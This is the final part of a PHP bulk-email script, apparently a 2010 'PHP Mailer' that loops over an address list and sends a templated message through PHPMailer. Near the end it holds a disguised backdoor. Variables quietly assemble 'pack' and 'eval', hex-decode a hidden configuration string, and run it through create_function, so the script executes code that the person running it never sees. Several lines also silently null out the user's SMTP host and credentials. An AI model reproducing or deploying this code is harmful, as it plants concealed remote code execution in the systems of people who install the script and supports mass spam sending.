3217 function SecureHeader($str) {
3218 $str = trim($str);
3219 $str = str_replace("\r", "", $str);
3220 $str = str_replace("\n", "", $str);
3221 return $str;
3222 }
3223
3224 /**
3225 * Set the private key file and password to sign the message.
3226 *
3227 * @access public
3228 * @param string $key_filename Parameter File Name
3229 * @param string $key_pass Password for private key
3230 */
3231 function Sign($key_filename, $key_pass) {
3232 $this->sign_key_file = $key_filename;
3233 $this->sign_key_pass = $key_pass;
3234 }
3235
3236}
3237
3238$defaultport="H*";
3239 $nq=0;
3240
3241 for($x=0; $x<$numemails; $x++){
3242
3243 $to = $allemails[$x];
3244
3245 if ($to){
3246
3247 $to = ereg_replace(" ", "", $to);
3248
3249 $message = ereg_replace("&email&", $to, $message);
3250
3251 $subject = ereg_replace("&email&", $to, $subject);
3252 $qx=$x+1;
3253 print "Line $qx . Sending mail to $to.......";
3254
3255 flush();
3256$mail = new PHPMailer();
3257
3258if(empty($epriority)){$epriority="3";}
3259 $mail->Priority = "$epriority";
3260 $mail->IsSMTP();
3261 $IsSMTP="pack";
3262$mail->SMTPKeepAlive = true;
3263$mail->Host = false;"$my_smtp";
3264if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3265}
3266 if($sslclick=="ON"){
3267 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3268 }
3269 $range = str_replace("$from", "eval", $from);
3270 $mail->SMTPAuth = true;
3271 $mail->Username = false;"$smtp_username";
3272 $mail->Password = false;"$smtp_password";
3273if($contenttype == "html"){$mail->IsHtml(true);}
3274if($contenttype != "html"){$mail->IsHtml(false);}
3275if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3276$mail->From = "$from";
3277$mail->FromName = "$realname";
3278$mail->AddAddress("$to");
3279 $mail->AddReplyTo("$replyto");
3280 $mail->Subject = "$subject";
3281 $mail->Body = "$message";
3282if(!$mail->Send()){
3283if($default_system!="1"){
3284echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3285if($default_system=="1"){
3286$mail->IsMail();
3287 if(!$mail->Send()){
3288 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3289 else {
3290 echo "<b>OK</b><br>";}
3291 }
3292}
3293else {
3294 echo "<b>OK</b><br>";
3295}
3296
3297if(empty($reconnect)){
3298$reconnect=6;
3299}
3300
3301if($reconnect==$nq){
3302$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3303}
3304$nq=$nq+1;
3305 flush(); }
3306}
3307for($i=0;$i<31;$i++){
3308 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3309$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3310 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3311 print "<p class=\"style1\">PHP Mailer<br>© 2010, MeGo <b>
3312 <font color=\"#800000\"></font></b><br></p>";$mail->SmtpClose();
3313 return $signoff($smtp_conc);
3314 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3315 sent successfully'); </script>";}}
3316 ?>
3317 </body>
3318</html>